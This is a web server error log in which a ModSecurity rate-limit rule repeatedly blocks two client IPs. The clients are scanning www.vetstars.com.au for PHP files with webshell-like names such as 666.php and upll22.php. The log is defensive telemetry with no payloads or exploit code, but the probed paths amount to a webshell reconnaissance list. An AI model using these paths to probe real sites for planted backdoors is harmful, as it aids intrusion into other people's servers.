[Mon Apr 13 17:10:00.069484 2026] [:error] [pid 9314:tid 9337] [client 20.100.201.121:63616] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adyy6G_r4W8fX2GWyGTHeQAAAZU"]
[Mon Apr 13 17:10:00.984403 2026] [:error] [pid 9314:tid 9334] [client 20.100.201.121:64642] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adyy6G_r4W8fX2GWyGTHfAAAAZI"]
[Mon Apr 13 17:10:01.074875 2026] [:error] [pid 9314:tid 9339] [client 20.100.201.121:64625] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adyy6W_r4W8fX2GWyGTHfQAAAZc"]
[Mon Apr 13 17:10:01.085517 2026] [:error] [pid 9314:tid 9332] [client 20.100.201.121:64185] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-220.php"] [unique_id "adyy6W_r4W8fX2GWyGTHfgAAAZA"]
[Mon Apr 13 17:10:02.277636 2026] [:error] [pid 63406:tid 63435] [client 20.100.201.121:65164] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-220.php"] [unique_id "adyy6rHZEIkQ0Zmgp5oavAAAANg"]
[Mon Apr 13 17:10:02.441638 2026] [:error] [pid 63406:tid 63427] [client 20.100.201.121:63107] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adyy6rHZEIkQ0Zmgp5oavQAAANA"]
[Mon Apr 13 17:10:02.802548 2026] [:error] [pid 63310:tid 63365] [client 20.100.201.121:64151] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adyy6noXpRU5ztmwPjIupAAAAFU"]
[Mon Apr 13 17:10:02.881727 2026] [:error] [pid 57183:tid 57190] [client 20.100.201.121:63623] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-220.php"] [unique_id "adyy6jDO3t8R5NaxzYTQOQAAAUU"]
[Mon Apr 13 17:10:03.643072 2026] [:error] [pid 63406:tid 63429] [client 20.100.201.121:63687] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adyy67HZEIkQ0Zmgp5oawQAAANI"]
[Mon Apr 13 17:10:04.043840 2026] [:error] [pid 63406:tid 63426] [client 20.100.201.121:64675] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adyy7LHZEIkQ0Zmgp5oawwAAAM8"]
[Mon Apr 13 17:10:04.259079 2026] [:error] [pid 57183:tid 57186] [client 20.100.201.121:65189] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adyy7DDO3t8R5NaxzYTQPQAAAUE"]
[Mon Apr 13 17:10:04.431490 2026] [:error] [pid 57183:tid 57204] [client 20.100.201.121:63742] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adyy7DDO3t8R5NaxzYTQPwAAAVM"]
[Mon Apr 13 17:10:04.990700 2026] [:error] [pid 57183:tid 57200] [client 20.100.201.121:63228] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adyy7DDO3t8R5NaxzYTQQwAAAU8"]
[Mon Apr 13 17:10:05.514989 2026] [:error] [pid 57183:tid 57201] [client 20.100.201.121:65128] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adyy7TDO3t8R5NaxzYTQRQAAAVA"]
[Mon Apr 13 17:10:05.552455 2026] [:error] [pid 63406:tid 63423] [client 20.100.201.121:64101] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adyy7bHZEIkQ0Zmgp5oayAAAAMw"]
[Mon Apr 13 17:10:06.281725 2026] [:error] [pid 57183:tid 57190] [client 20.100.201.121:63716] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fone1.php"] [unique_id "adyy7jDO3t8R5NaxzYTQRwAAAUU"]
[Mon Apr 13 17:10:06.921038 2026] [:error] [pid 9314:tid 9319] [client 20.100.201.121:65089] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fone1.php"] [unique_id "adyy7m_r4W8fX2GWyGTHhAAAAYM"]
[Mon Apr 13 17:10:07.129079 2026] [:error] [pid 63406:tid 63419] [client 20.100.201.121:64171] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adyy77HZEIkQ0Zmgp5oazgAAAMg"]
[Mon Apr 13 17:10:07.444525 2026] [:error] [pid 63406:tid 63430] [client 20.100.201.121:64598] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fone1.php"] [unique_id "adyy77HZEIkQ0Zmgp5oa0AAAANM"]
[Mon Apr 13 17:10:49.491083 2026] [:error] [pid 63309:tid 63321] [client 20.100.201.121:65181] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/666.php"] [unique_id "adyzGUpIKZ10weXpf0UCPQAAAAg"]
[Mon Apr 13 17:10:50.828730 2026] [:error] [pid 63309:tid 63326] [client 20.100.201.121:65154] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/100.php"] [unique_id "adyzGkpIKZ10weXpf0UCPgAAAA0"]
[Mon Apr 13 17:10:52.060988 2026] [:error] [pid 63406:tid 63420] [client 20.100.201.121:64622] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adyzHLHZEIkQ0Zmgp5obiQAAAMk"]
[Mon Apr 13 17:10:53.327698 2026] [:error] [pid 57183:tid 57195] [client 20.100.201.121:65162] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/666.php"] [unique_id "adyzHTDO3t8R5NaxzYTQvAAAAUo"]
[Mon Apr 13 17:10:54.255818 2026] [:error] [pid 63406:tid 63416] [client 20.100.201.121:63691] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/100.php"] [unique_id "adyzHrHZEIkQ0Zmgp5obkQAAAMU"]
[Mon Apr 13 17:10:54.317773 2026] [:error] [pid 63310:tid 63347] [client 20.100.201.121:64635] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adyzHnoXpRU5ztmwPjIuvAAAAEM"]
[Mon Apr 13 17:10:56.609003 2026] [:error] [pid 57183:tid 57202] [client 20.100.201.121:64654] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adyzIDDO3t8R5NaxzYTQwgAAAVE"]
[Mon Apr 13 17:10:57.218805 2026] [:error] [pid 63311:tid 63376] [client 20.100.201.121:65199] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/666.php"] [unique_id "adyzIaHjrGN1MqBCVFnP_wAAAIU"]
[Mon Apr 13 17:10:57.246793 2026] [:error] [pid 57183:tid 57208] [client 20.100.201.121:65100] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/100.php"] [unique_id "adyzITDO3t8R5NaxzYTQxAAAAVc"]
[Mon Apr 13 17:11:00.996009 2026] [:error] [pid 9314:tid 9324] [client 20.100.201.121:64693] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/100.php"] [unique_id "adyzJG_r4W8fX2GWyGTH0wAAAYg"]
[Mon Apr 13 17:11:01.525385 2026] [:error] [pid 57183:tid 57194] [client 20.100.201.121:63658] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/666.php"] [unique_id "adyzJTDO3t8R5NaxzYTQyAAAAUk"]
[Mon Apr 13 17:11:02.844102 2026] [:error] [pid 9314:tid 9327] [client 20.100.201.121:64699] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adyzJm_r4W8fX2GWyGTH3QAAAYs"]
[Mon Apr 13 17:11:03.483010 2026] [:error] [pid 63311:tid 63375] [client 20.100.201.121:65160] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/upll22.php"] [unique_id "adyzJ6HjrGN1MqBCVFnQBAAAAIQ"]
[Mon Apr 13 17:11:04.017777 2026] [:error] [pid 63310:tid 63344] [client 20.100.201.121:64069] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byrgo.php"] [unique_id "adyzKHoXpRU5ztmwPjIuwAAAAEA"]
[Mon Apr 13 17:11:05.068465 2026] [:error] [pid 63310:tid 63357] [client 20.100.201.121:64687] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "adyzKXoXpRU5ztmwPjIuwQAAAE0"]
[Mon Apr 13 17:11:05.095134 2026] [:error] [pid 63311:tid 63390] [client 20.100.201.121:65156] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/upll22.php"] [unique_id "adyzKaHjrGN1MqBCVFnQCwAAAJM"]
[Mon Apr 13 17:11:05.563450 2026] [:error] [pid 63310:tid 63367] [client 20.100.201.121:64670] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byrgo.php"] [unique_id "adyzKXoXpRU5ztmwPjIuxAAAAFc"]
[Mon Apr 13 17:11:08.050864 2026] [:error] [pid 63406:tid 63417] [client 20.100.201.121:63678] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byrgo.php"] [unique_id "adyzLLHZEIkQ0Zmgp5obqgAAAMY"]
[Mon Apr 13 17:11:08.113310 2026] [:error] [pid 63309:tid 63324] [client 20.100.201.121:65148] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/upll22.php"] [unique_id "adyzLEpIKZ10weXpf0UCRQAAAAs"]
[Mon Apr 13 17:11:09.502123 2026] [:error] [pid 7228:tid 7253] [client 20.100.201.121:63184] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byrgo.php"] [unique_id "adyzLQEnn1dQrOSHHNVY-gAAARc"]
[Mon Apr 13 17:11:10.951642 2026] [:error] [pid 57183:tid 57200] [client 20.100.201.121:64588] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/upll22.php"] [unique_id "adyzLjDO3t8R5NaxzYTQ3gAAAU8"]
[Mon Apr 13 17:11:12.002561 2026] [:error] [pid 63309:tid 63334] [client 20.100.201.121:64165] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-243.php"] [unique_id "adyzMEpIKZ10weXpf0UCTAAAABU"]
[Mon Apr 13 17:11:14.155304 2026] [:error] [pid 63309:tid 63337] [client 20.100.201.121:63734] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "adyzMkpIKZ10weXpf0UCUQAAABg"]
[Mon Apr 13 17:11:14.187693 2026] [:error] [pid 7228:tid 7241] [client 20.100.201.121:63715] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-243.php"] [unique_id "adyzMgEnn1dQrOSHHNVY_wAAAQs"]
[Mon Apr 13 17:11:14.267530 2026] [:error] [pid 63311:tid 63371] [client 20.100.201.121:64666] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/100.php"] [unique_id "adyzMqHjrGN1MqBCVFnQFQAAAIA"]
[Mon Apr 13 17:11:15.746007 2026] [:error] [pid 57183:tid 57203] [client 20.100.201.121:63657] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/100.php"] [unique_id "adyzMzDO3t8R5NaxzYTQ5AAAAVI"]
[Mon Apr 13 17:11:18.570534 2026] [:error] [pid 63310:tid 63364] [client 20.100.201.121:64591] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/100.php"] [unique_id "adyzNnoXpRU5ztmwPjIu1wAAAFQ"]
[Mon Apr 13 17:11:21.764203 2026] [:error] [pid 63406:tid 63417] [client 20.100.201.121:63699] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-243.php"] [unique_id "adyzObHZEIkQ0Zmgp5obxAAAAMY"]
[Mon Apr 13 17:11:22.186276 2026] [:error] [pid 63406:tid 63423] [client 20.240.142.13:60457] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iindv.php"] [unique_id "adyzOrHZEIkQ0Zmgp5obyAAAAMw"]
[Mon Apr 13 17:11:22.698428 2026] [:error] [pid 9314:tid 9330] [client 20.100.201.121:64619] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/100.php"] [unique_id "adyzOm_r4W8fX2GWyGTINwAAAY4"]
[Mon Apr 13 17:11:23.064631 2026] [:error] [pid 63406:tid 63435] [client 20.240.142.13:61948] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iindv.php"] [unique_id "adyzO7HZEIkQ0Zmgp5obygAAANg"]
[Mon Apr 13 17:11:23.903288 2026] [:error] [pid 7228:tid 7253] [client 20.240.142.13:61620] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iindv.php"] [unique_id "adyzOwEnn1dQrOSHHNVZBgAAARc"]
[Mon Apr 13 17:11:24.945160 2026] [:error] [pid 7228:tid 7233] [client 20.100.201.121:63680] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/Sanskrit.php"] [unique_id "adyzPAEnn1dQrOSHHNVZCAAAAQM"]
[Mon Apr 13 17:11:25.050256 2026] [:error] [pid 57183:tid 57197] [client 20.240.142.13:61602] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iindv.php"] [unique_id "adyzPTDO3t8R5NaxzYTQ9wAAAUw"]
[Mon Apr 13 17:11:25.344323 2026] [:error] [pid 57183:tid 57185] [client 20.100.201.121:64661] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byrgo.php"] [unique_id "adyzPTDO3t8R5NaxzYTQ-AAAAUA"]
[Mon Apr 13 17:11:27.394684 2026] [:error] [pid 9314:tid 9325] [client 20.240.142.13:61582] [client 20.240.142.13] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/maintura.php"] [unique_id "adyzP2_r4W8fX2GWyGTITQAAAYk"]
